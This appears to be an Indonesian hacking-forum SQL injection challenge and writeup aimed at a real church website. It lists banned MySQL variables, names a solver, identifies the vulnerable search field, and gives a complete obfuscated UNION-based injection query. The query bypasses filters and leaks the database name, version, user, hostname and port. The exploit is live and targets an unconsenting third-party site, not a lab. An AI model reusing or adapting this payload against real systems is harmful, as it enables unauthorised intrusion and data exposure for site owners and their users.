#SQLi celeng
site: gpib-imanuel-cimahi.org
level: gabut
rules:
- Dilarang menggunakan variable
-> database()
-> @@database
-> version()
-> @@version
-> user()
-> @@hostname
-> @@port

- print
-> nick
-> nama database
-> versi database
-> user
-> hostname
-> port

- share query pm pastinya

clue:
- variable sql bkn itu doang
- global tipi

closed

solver:
- @Mayat 2.7.15

writeup
method: POST
vuln: <input type="text" placeholder="Pencarian..." '="" name="kata" class="search-input" style="color: black;line-height: normal;" required="">

query: 'and/*/0/!50000union*//*/select/*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,concat(0x3c62723e3c62723e3c7374796c653e74722c7464207b20626f726465723a31707820736f6c6964207265643b6261636b67726f756e643a20626c61636b3b207d207461626c65207b2077696474683a20313030253b20746578742d616c69676e3a2063656e7465723b20636f6c6f723a2077686974653b7d3c2f7374796c653e3c7461626c653e3c74723e3c74643e4e69636b3c2f74643e3c74643e4d6179617420322e372e31353c2f74643e3c2f74723e3c74643e44617461626173653c2f74643e3c74643e,schema(),0x3c2f74643e3c2f74723e3c74723e3c74643e56657273693c2f74643e3c74643e,@@global.version,0x3c2f74643e3c2f74723e3c74723e3c74643e757365723c2f74643e3c74643e,current_user(),0x3c2f74643e3c2f74723e3c74723e3c74643e486f73746e616d653c2f74643e3c74643e,@@global.hostname,0x3c2f74643e3c2f74723e3c74723e3c74643e706f72743c2f74643e3c74643e,@@global.port,0x3c2f74643e3c2f74723e3c2f7461626c653e),26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77`